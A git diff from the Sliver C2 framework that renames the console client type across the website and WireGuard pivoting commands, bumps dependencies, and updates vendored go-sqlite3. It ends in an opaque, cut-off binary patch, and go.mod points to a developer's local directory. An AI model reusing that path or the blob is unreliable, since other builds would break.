err) @@ -67,7 +67,7 @@ func ListWebsites(cmd *cobra.Command, con *console.SliverConsoleClient, args []s } // ListWebsiteContent - List the static contents of a website -func ListWebsiteContent(websiteName string, con *console.SliverConsoleClient) { +func ListWebsiteContent(websiteName string, con *console.SliverClient) { website, err := con.Rpc.Website(context.Background(), &clientpb.Website{ Name: websiteName, }) @@ -83,7 +83,7 @@ func ListWebsiteContent(websiteName string, con *console.SliverConsoleClient) { } // PrintWebsite - Print a website and its contents, paths, etc. -func PrintWebsite(web *clientpb.Website, con *console.SliverConsoleClient) { +func PrintWebsite(web *clientpb.Website, con *console.SliverClient) { con.Println(console.Clearln + console.Info + web.Name) con.Println() tw := table.NewWriter() @@ -111,7 +111,7 @@ func PrintWebsite(web *clientpb.Website, con *console.SliverConsoleClient) { } // WebsiteNameCompleter completes the names of available websites. -func WebsiteNameCompleter(con *console.SliverConsoleClient) carapace.Action { +func WebsiteNameCompleter(con *console.SliverClient) carapace.Action { return carapace.ActionCallback(func(c carapace.Context) carapace.Action { results := make([]string, 0) diff --git a/client/command/wireguard/commands.go b/client/command/wireguard/commands.go index daa4460539..dd0e60e9c5 100644 --- a/client/command/wireguard/commands.go +++ b/client/command/wireguard/commands.go @@ -12,7 +12,7 @@ import ( ) // Commands returns the “ command and its subcommands. -func Commands(con *console.SliverConsoleClient) []*cobra.Command { +func Commands(con *console.SliverClient) []*cobra.Command { wgConfigCmd := &cobra.Command{ Use: consts.WgConfigStr, Short: "Generate a new WireGuard client config", @@ -37,7 +37,7 @@ func Commands(con *console.SliverConsoleClient) []*cobra.Command { } // SliverCommands returns all Wireguard commands that can be used on an active target. -func SliverCommands(con *console.SliverConsoleClient) []*cobra.Command { +func SliverCommands(con *console.SliverClient) []*cobra.Command { wgPortFwdCmd := &cobra.Command{ Use: consts.WgPortFwdStr, Short: "List ports forwarded by the WireGuard tun interface", diff --git a/client/command/wireguard/wg-config.go b/client/command/wireguard/wg-config.go index 1568b51f04..fd5bf115ab 100644 --- a/client/command/wireguard/wg-config.go +++ b/client/command/wireguard/wg-config.go @@ -53,7 +53,7 @@ type wgQuickConfig struct { } // WGConfigCmd - Generate a WireGuard client configuration -func WGConfigCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) { +func WGConfigCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { wgConfig, err := con.Rpc.GenerateWGClientConfig(context.Background(), &commonpb.Empty{}) if err != nil { con.PrintErrorf("Error: %s\n", err) diff --git a/client/command/wireguard/wg-portfwd-add.go b/client/command/wireguard/wg-portfwd-add.go index c6817e38de..bf866bc34c 100644 --- a/client/command/wireguard/wg-portfwd-add.go +++ b/client/command/wireguard/wg-portfwd-add.go @@ -29,7 +29,7 @@ import ( ) // WGPortFwdAddCmd - Add a new WireGuard port forward -func WGPortFwdAddCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) { +func WGPortFwdAddCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { session := con.ActiveTarget.GetSessionInteractive() if session == nil { return diff --git a/client/command/wireguard/wg-portfwd-rm.go b/client/command/wireguard/wg-portfwd-rm.go index b732719fdf..e3b4c24494 100644 --- a/client/command/wireguard/wg-portfwd-rm.go +++ b/client/command/wireguard/wg-portfwd-rm.go @@ -31,7 +31,7 @@ import ( ) // WGPortFwdRmCmd - Remove a WireGuard port forward -func WGPortFwdRmCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) { +func WGPortFwdRmCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { session := con.ActiveTarget.GetSessionInteractive() if session == nil { return @@ -67,7 +67,7 @@ func WGPortFwdRmCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args [ } // PortfwdIDCompleter completes IDs of WireGuard remote portforwarders -func PortfwdIDCompleter(con *console.SliverConsoleClient) carapace.Action { +func PortfwdIDCompleter(con *console.SliverClient) carapace.Action { callback := func(_ carapace.Context) carapace.Action { results := make([]string, 0) diff --git a/client/command/wireguard/wg-portfwd.go b/client/command/wireguard/wg-portfwd.go index e7eabd8db4..2b42b1b374 100644 --- a/client/command/wireguard/wg-portfwd.go +++ b/client/command/wireguard/wg-portfwd.go @@ -30,7 +30,7 @@ import ( ) // WGPortFwdListCmd - List WireGuard port forwards -func WGPortFwdListCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) { +func WGPortFwdListCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { session := con.ActiveTarget.GetSessionInteractive() if session == nil { return diff --git a/client/command/wireguard/wg-socks-start.go b/client/command/wireguard/wg-socks-start.go index a9062faff2..4038008b5c 100644 --- a/client/command/wireguard/wg-socks-start.go +++ b/client/command/wireguard/wg-socks-start.go @@ -28,7 +28,7 @@ import ( ) // WGSocksStartCmd - Start a WireGuard reverse SOCKS proxy -func WGSocksStartCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) { +func WGSocksStartCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { session := con.ActiveTarget.GetSessionInteractive() if session == nil { return diff --git a/client/command/wireguard/wg-socks-stop.go b/client/command/wireguard/wg-socks-stop.go index ef9da5a69d..9494dfbfe0 100644 --- a/client/command/wireguard/wg-socks-stop.go +++ b/client/command/wireguard/wg-socks-stop.go @@ -29,7 +29,7 @@ import ( ) // WGSocksStopCmd - Stop a WireGuard SOCKS proxy -func WGSocksStopCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) { +func WGSocksStopCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { session := con.ActiveTarget.GetSession() if session == nil { return diff --git a/client/command/wireguard/wg-socks.go b/client/command/wireguard/wg-socks.go index 1bc1b13385..6046d20ed1 100644 --- a/client/command/wireguard/wg-socks.go +++ b/client/command/wireguard/wg-socks.go @@ -32,7 +32,7 @@ import ( ) // WGSocksListCmd - List WireGuard SOCKS proxies -func WGSocksListCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) { +func WGSocksListCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { session := con.ActiveTarget.GetSessionInteractive() if session == nil { return @@ -74,7 +74,7 @@ func WGSocksListCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args [ } // SocksIDCompleter IDs of WireGuard socks servers. -func SocksIDCompleter(con *console.SliverConsoleClient) carapace.Action { +func SocksIDCompleter(con *console.SliverClient) carapace.Action { callback := func(_ carapace.Context) carapace.Action { results := make([]string, 0) diff --git a/go.mod b/go.mod index dee8dbc9de..a0b5ef01ea 100644 --- a/go.mod +++ b/go.mod @@ -2,7 +2,9 @@ module github.com/bishopfox/sliver go 1.20 -replace github.com/rsteube/carapace v0.36.3 => github.com/reeflective/carapace v0.25.2-0.20230602202234-e8d757e458ca +replace github.com/rsteube/carapace v0.37.3 => github.com/reeflective/carapace v0.25.2-0.20230602202234-e8d757e458ca + +replace github.com/reeflective/team v0.0.0-20230717232729-e28a155bca96 => /home/user/code/github.com/reeflective/team require ( filippo.io/age v1.1.1 @@ -30,10 +32,11 @@ require ( github.com/miekg/dns v1.1.55 github.com/moloch--/asciicast v0.1.0 github.com/moloch--/memmod v0.0.0-20211120144554-8b37cc654945 - github.com/ncruces/go-sqlite3 v0.7.2 + github.com/ncruces/go-sqlite3 v0.8.1 github.com/reeflective/console v0.1.6 github.com/reeflective/readline v1.0.8 - github.com/rsteube/carapace v0.36.3 + github.com/reeflective/team v0.0.0-20230717232729-e28a155bca96 + github.com/rsteube/carapace v0.37.3 github.com/sirupsen/logrus v1.9.3 github.com/spf13/cobra v1.7.0 github.com/spf13/pflag v1.0.5 @@ -138,6 +141,7 @@ require ( github.com/pierrec/lz4/v4 v4.1.17 // indirect github.com/pkg/errors v0.9.1 // indirect github.com/pmezard/go-difflib v1.0.0 // indirect + github.com/psanford/memfs v0.0.0-20230130182539-4dbf7e3e865e // indirect github.com/remyoudompheng/bigfft v0.0.0-20230129092748-24d4a6f8daec // indirect github.com/rivo/uniseg v0.4.4 // indirect github.com/tailscale/certstore v0.1.1-0.20220316223106-78d6e1c49d8d // indirect @@ -153,8 +157,8 @@ require ( github.com/x448/float16 v0.8.4 // indirect go4.org/mem v0.0.0-20220726221520-4f986261bf13 // indirect go4.org/netipx v0.0.0-20230303233057-f1b76eb4bb35 // indirect - golang.org/x/mod v0.10.0 // indirect - golang.org/x/sync v0.2.0 // indirect + golang.org/x/mod v0.11.0 // indirect + golang.org/x/sync v0.3.0 // indirect golang.org/x/time v0.3.0 // indirect golang.org/x/tools v0.9.1 // indirect golang.zx2c4.com/wintun v0.0.0-20230126152724-0fa3db229ce2 // indirect diff --git a/go.sum b/go.sum index 6a0775b60b..ba570edf91 100644 --- a/go.sum +++ b/go.sum @@ -170,6 +170,7 @@ github.com/google/btree v1.1.2 h1:xf4v41cLI2Z6FxbKm+8Bu+m8ifhj15JuZ9sa0jZCMUU= github.com/google/btree v1.1.2/go.mod h1:qOPhT0dTNdNzV6Z/lhRX0YXUafgPLFUh+gZMl761Gm4= github.com/google/go-cmp v0.2.0/go.mod h1:oXzfMopK8JAjlY9xF4vHSVASa0yLyX7SntLO5aqRK0M= github.com/google/go-cmp v0.4.0/go.mod h1:v8dTdLbMG2kIc/vJvl+f65V22dbkXbowE6jgT/gNBxE= +github.com/google/go-cmp v0.5.4/go.mod h1:v8dTdLbMG2kIc/vJvl+f65V22dbkXbowE6jgT/gNBxE= github.com/google/go-cmp v0.5.5/go.mod h1:v8dTdLbMG2kIc/vJvl+f65V22dbkXbowE6jgT/gNBxE= github.com/google/go-cmp v0.5.6/go.mod h1:v8dTdLbMG2kIc/vJvl+f65V22dbkXbowE6jgT/gNBxE= github.com/google/go-cmp v0.5.7/go.mod h1:n+brtR0CgQNWTVd5ZUFpTBC8YFBDLK/h/bpaJ8/DtOE= @@ -301,8 +302,8 @@ github.com/moloch--/asciicast v0.1.0 h1:eBOJwuFKSk447s/kPs9MWsc4kAl5HmuKIDLDYD6/ github.com/moloch--/asciicast v0.1.0/go.mod h1:OckO16UDLgxVLclrCnbocL1ix15Br/8Xv/caBoYq98o= github.com/moloch--/memmod v0.0.0-20211120144554-8b37cc654945 h1:m3yCfV8Vqp4MF1B+gPPjbjINdufl0UXqyYplE0aGhx8= github.com/moloch--/memmod v0.0.0-20211120144554-8b37cc654945/go.mod h1:1grVt4HaTofvhFUZYtofeRbGXfczNwCie9MYoM4lP/o= -github.com/ncruces/go-sqlite3 v0.7.2 h1:K7jU4rnUxFdUsbEL+B0Xc+VexLTEwGSO6Qh91Qh4hYc= -github.com/ncruces/go-sqlite3 v0.7.2/go.mod h1:t3dP4AP9rJddU+ffFv0h6fWyeOCEhjxrYc1nsYG7aQI= +github.com/ncruces/go-sqlite3 v0.8.1 h1:e1Y7uHu96xC4fWKsCVWprbTi8vAaQX9R+8kgkxOHWaY= +github.com/ncruces/go-sqlite3 v0.8.1/go.mod h1:EhHe1qvG6Zc/8ffYMzre8n//rTRs1YNN5dUD1f1mEGc= github.com/ncruces/julianday v0.1.5 h1:hDJ9ejiMp3DHsoZ5KW4c1lwfMjbARS7u/gbYcd0FBZk= github.com/ncruces/julianday v0.1.5/go.mod h1:Dusn2KvZrrovOMJuOt0TNXL6tB7U2E8kvza5fFc9G7g= github.com/opentracing/opentracing-go v1.1.0/go.mod h1:UkNAQd3GIcIGf0SeVgPpRdFStlNbqXla1AfSYxPUl2o= @@ -319,6 +320,8 @@ github.com/pkg/sftp v1.13.5 h1:a3RLUqkyjYRtBTZJZ1VRrKbN3zhuPLlUc3sphVz81go= github.com/pmezard/go-difflib v1.0.0 h1:4DBwDE0NGyQoBHbLQYPwSUPoCMWR5BEzIk/f1lZbAQM= github.com/pmezard/go-difflib v1.0.0/go.mod h1:iKH77koFhYxTK1pcRnkKkqfTogsbg7gZNVY4sRDYZ/4= github.com/prometheus/client_model v0.0.0-20190812154241-14fe0d1b01d4/go.mod h1:xMI15A0UPsDsEKsMN9yxemIoYk6Tm2C1GtYGdfGttqA= +github.com/psanford/memfs v0.0.0-20230130182539-4dbf7e3e865e h1:51xcRlSMBU5rhM9KahnJGfEsBPVPz3182TgFRowA8yY= +github.com/psanford/memfs v0.0.0-20230130182539-4dbf7e3e865e/go.mod h1:tcaRap0jS3eifrEEllL6ZMd9dg8IlDpi2S1oARrQ+NI= github.com/reeflective/carapace v0.25.2-0.20230602202234-e8d757e458ca h1:tD797h1qmNtS/2z6Y7EtIg7OXEDaoSuULsUoksEepmQ= github.com/reeflective/carapace v0.25.2-0.20230602202234-e8d757e458ca/go.mod h1:jkLt41Ne2TD2xPuMdX/2O05Smhy8vMgG7O2TYvC0yOc= github.com/reeflective/console v0.1.6 h1:BhhvQU/m8QOpaIRzrXfwcbtkGQJX9jVR5qIqAy/Mcuw= @@ -331,7 +334,7 @@ github.com/remyoudompheng/bigfft v0.0.0-20230129092748-24d4a6f8daec/go.mod h1:qq github.com/rivo/uniseg v0.2.0/go.mod h1:J6wj4VEh+S6ZtnVlnTBMWIodfgj8LQOQFoIToxlJtxc= github.com/rivo/uniseg v0.4.4 h1:8TfxU8dW6PdqD27gjM8MVNuicgxIjxpm4K7x4jp8sis= github.com/rivo/uniseg v0.4.4/go.mod h1:FN3SvrM+Zdj16jyLfmOkMNblXMcoc8DfTHruCPUcx88= -github.com/rogpeppe/go-internal v1.10.0 h1:TMyTOH3F/DB16zRVcYyreMH6GnZZrwQVAoYjRBZyWFQ= +github.com/rogpeppe/go-internal v1.11.0 h1:cWPaGQEPrBb5/AsnsZesgZZ9yb1OQ+GOISoDNXVBh4M= github.com/russross/blackfriday/v2 v2.1.0/go.mod h1:+Rmxgy9KzJVeS9/2gXHxylqXiyQDYRxCVz55jmeOWTM= github.com/sirupsen/logrus v1.4.2/go.mod h1:tLMulIdttU9McNUspp0xgXVQah82FyeX6MwdIuYE2rE= github.com/sirupsen/logrus v1.7.0/go.mod h1:yWOB1SBYBC5VeMP7gHvWumXLIWorT60ONWic61uBYv0= @@ -424,8 +427,8 @@ golang.org/x/lint v0.0.0-20190930215403-16217165b5de/go.mod h1:6SW0HCj/g11FgYtHl golang.org/x/mod v0.2.0/go.mod h1:s0Qsj1ACt9ePp/hMypM3fl4fZqREWJwdYDEqhRiZZUA= golang.org/x/mod v0.3.0/go.mod h1:s0Qsj1ACt9ePp/hMypM3fl4fZqREWJwdYDEqhRiZZUA= golang.org/x/mod v0.6.0-dev.0.20220419223038-86c51ed26bb4/go.mod h1:jJ57K6gSWd91VN4djpZkiMVwK6gcyfeH4XE8wZrZaV4= -golang.org/x/mod v0.10.0 h1:lFO9qtOdlre5W1jxS3r/4szv2/6iXxScdzjoBMXNhYk= -golang.org/x/mod v0.10.0/go.mod h1:iBbtSCu2XBx23ZKBPSOrRkjjQPZFPuis4dIYUhu/chs= +golang.org/x/mod v0.11.0 h1:bUO06HqtnRcc/7l71XBe4WcqTZ+3AH1J59zWDDwLKgU= +golang.org/x/mod v0.11.0/go.mod h1:iBbtSCu2XBx23ZKBPSOrRkjjQPZFPuis4dIYUhu/chs= golang.org/x/net v0.0.0-20180724234803-3673e40ba225/go.mod h1:mL1N/T3taQHkDXs73rZJwtUhF3w3ftmwwsq0BUmARs4= golang.org/x/net v0.0.0-20180826012351-8a410e7b638d/go.mod h1:mL1N/T3taQHkDXs73rZJwtUhF3w3ftmwwsq0BUmARs4= golang.org/x/net v0.0.0-20190213061140-3a22650c66bd/go.mod h1:mL1N/T3taQHkDXs73rZJwtUhF3w3ftmwwsq0BUmARs4= @@ -451,8 +454,8 @@ golang.org/x/sync v0.0.0-20190911185100-cd5d95a43a6e/go.mod h1:RxMgew5VJxzue5/jJ golang.org/x/sync v0.0.0-20201020160332-67f06af15bc9/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= golang.org/x/sync v0.0.0-20210220032951-036812b2e83c/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= golang.org/x/sync v0.0.0-20220722155255-886fb9371eb4/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= -golang.org/x/sync v0.2.0 h1:PUR+T4wwASmuSTYdKjYHI5TD22Wy5ogLU5qZCOLxBrI= -golang.org/x/sync v0.2.0/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= +golang.org/x/sync v0.3.0 h1:ftCYgMx6zT/asHUrPw8BLLscYtGznsLAnjq5RH9P66E= +golang.org/x/sync v0.3.0/go.mod h1:FU7BRWz2tNW+3quACPkgCx/L+uEAv1htQ0V83Z9Rj+Y= golang.org/x/sys v0.0.0-20180830151530-49385e6e1522/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY= golang.org/x/sys v0.0.0-20190215142949-d0b11bdaac8a/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY= golang.org/x/sys v0.0.0-20190222072716-a9d3bda3a223/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY= diff --git a/vendor/github.com/ncruces/go-sqlite3/README.md b/vendor/github.com/ncruces/go-sqlite3/README.md index 8a06a28516..819fb9d6f1 100644 --- a/vendor/github.com/ncruces/go-sqlite3/README.md +++ b/vendor/github.com/ncruces/go-sqlite3/README.md @@ -31,16 +31,11 @@ This has benefits, but also comes with some drawbacks. Because WASM does not support shared memory, [WAL](https://www.sqlite.org/wal.html) support is [limited](https://www.sqlite.org/wal.html#noshm). -To work around this limitation, SQLite is compiled with -[`SQLITE_DEFAULT_LOCKING_MODE=1`](https://www.sqlite.org/compile.html#default_locking_mode), -making `EXCLUSIVE` the default locking mode. -For non-WAL databases, `NORMAL` locking mode can be activated with -[`PRAGMA locking_mode=NORMAL`](https://www.sqlite.org/pragma.html#pragma_locking_mode). +To work around this limitation, SQLite is [patched](sqlite3/locking_mode.patch) +to always use `EXCLUSIVE` locking mode for WAL databases. Because connection pooling is incompatible with `EXCLUSIVE` locking mode, -the `database/sql` driver defaults to `NORMAL` locking mode. -To open WAL databases, or use `EXCLUSIVE` locking mode, -disable connection pooling by calling +to open WAL databases you should disable connection pooling by calling [`db.SetMaxOpenConns(1)`](https://pkg.go.dev/database/sql#DB.SetMaxOpenConns). #### POSIX Advisory Locks diff --git a/vendor/github.com/ncruces/go-sqlite3/conn.go b/vendor/github.com/ncruces/go-sqlite3/conn.go index be10c719fa..ec168aa0d9 100644 --- a/vendor/github.com/ncruces/go-sqlite3/conn.go +++ b/vendor/github.com/ncruces/go-sqlite3/conn.go @@ -39,7 +39,7 @@ func Open(filename string) (*Conn, error) { // If none of the required flags is used, a combination of [OPEN_READWRITE] and [OPEN_CREATE] is used. // If a URI filename is used, PRAGMA statements to execute can be specified using "_pragma": // -// sqlite3.Open("file:demo.db?_pragma=busy_timeout(10000)&_pragma=locking_mode(normal)") +// sqlite3.Open("file:demo.db?_pragma=busy_timeout(10000)") // // https://www.sqlite.org/c3ref/open.html func OpenFlags(filename string, flags OpenFlag) (*Conn, error) { @@ -278,7 +278,7 @@ func (c *Conn) SetInterrupt(ctx context.Context) (old context.Context) { break case <-ctx.Done(): // Done was closed. - const isInterruptedOffset = 280 + const isInterruptedOffset = 288 buf := util.View(c.mod, c.handle+isInterruptedOffset, 4) (*atomic.Uint32)(unsafe.Pointer(&buf[0])).Store(1) // Wait for the next call to SetInterrupt. @@ -295,7 +295,7 @@ func (c *Conn) checkInterrupt() bool { if c.interrupt == nil || c.interrupt.Err() == nil { return false } - const isInterruptedOffset = 280 + const isInterruptedOffset = 288 buf := util.View(c.mod, c.handle+isInterruptedOffset, 4) (*atomic.Uint32)(unsafe.Pointer(&buf[0])).Store(1) return true diff --git a/vendor/github.com/ncruces/go-sqlite3/driver/driver.go b/vendor/github.com/ncruces/go-sqlite3/driver/driver.go index f027c4ee9c..1675dd2af3 100644 --- a/vendor/github.com/ncruces/go-sqlite3/driver/driver.go +++ b/vendor/github.com/ncruces/go-sqlite3/driver/driver.go @@ -14,10 +14,9 @@ // // [PRAGMA] statements can be specified using "_pragma": // -// sql.Open("sqlite3", "file:demo.db?_pragma=busy_timeout(10000)&_pragma=locking_mode(normal)") +// sql.Open("sqlite3", "file:demo.db?_pragma=busy_timeout(10000)") // -// If no PRAGMAs are specified, a busy timeout of 1 minute -// and normal locking mode are used. +// If no PRAGMAs are specified, a busy timeout of 1 minute is set. // // Order matters: // busy timeout and locking mode should be the first PRAGMAs set, in that order. @@ -54,8 +53,8 @@ func (sqlite) Open(name string) (_ driver.Conn, err error) { return nil, err } + var pragmas bool c.txBegin = "BEGIN" - var pragmas []string if strings.HasPrefix(name, "file:") { if _, after, ok := strings.Cut(name, "?"); ok { query, _ := url.ParseQuery(after) @@ -70,14 +69,11 @@ func (sqlite) Open(name string) (_ driver.Conn, err error) { return nil, fmt.Errorf("sqlite3: invalid _txlock: %s", s) } - pragmas = query["_pragma"] + pragmas = len(query["_pragma"]) > 0 } } - if len(pragmas) == 0 { - err := c.Conn.Exec(` - PRAGMA busy_timeout=60000; - PRAGMA locking_mode=normal; - `) + if !pragmas { + err := c.Conn.Exec(`PRAGMA busy_timeout=60000`) if err != nil { c.Close() return nil, err diff --git a/vendor/github.com/ncruces/go-sqlite3/embed/build.sh b/vendor/github.com/ncruces/go-sqlite3/embed/build.sh index f461b2664f..105c216bf5 100644 --- a/vendor/github.com/ncruces/go-sqlite3/embed/build.sh +++ b/vendor/github.com/ncruces/go-sqlite3/embed/build.sh @@ -11,17 +11,20 @@ WASI_SDK="$ROOT/tools/wasi-sdk-20.0/bin" -o sqlite3.wasm "$ROOT/sqlite3/main.c" \ -I"$ROOT/sqlite3" \ -mexec-model=reactor \ - -mmutable-globals \ + -msimd128 -mmutable-globals \ -mbulk-memory -mreference-types \ -mnontrapping-fptoint -msign-ext \ + -fno-stack-protector -fno-stack-clash-protection \ -Wl,--initial-memory=327680 \ -Wl,--stack-first \ -Wl,--import-undefined \ + -D_HAVE_SQLITE_CONFIG_H \ $(awk '{print "-Wl,--export="$0}' exports.txt) trap 'rm -f sqlite3.tmp' EXIT "$BINARYEN/wasm-ctor-eval" -g -c _initialize sqlite3.wasm -o sqlite3.tmp -"$BINARYEN/wasm-opt" -g -O2 sqlite3.tmp -o sqlite3.wasm \ - --enable-multivalue --enable-mutable-globals \ +"$BINARYEN/wasm-opt" -g --strip -c -O3 \ + sqlite3.tmp -o sqlite3.wasm \ + --enable-simd --enable-mutable-globals --enable-multivalue \ --enable-bulk-memory --enable-reference-types \ --enable-nontrapping-float-to-int --enable-sign-ext \ No newline at end of file diff --git a/vendor/github.com/ncruces/go-sqlite3/embed/sqlite3.wasm b/vendor/github.com/ncruces/go-sqlite3/embed/sqlite3.wasm index be6574a138252050b4ef34ee58179f1cc05b1e20..6a7c852d4953f86fb2c0af7247afb1556fd2b667 100644 GIT binary patch literal 1427169 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 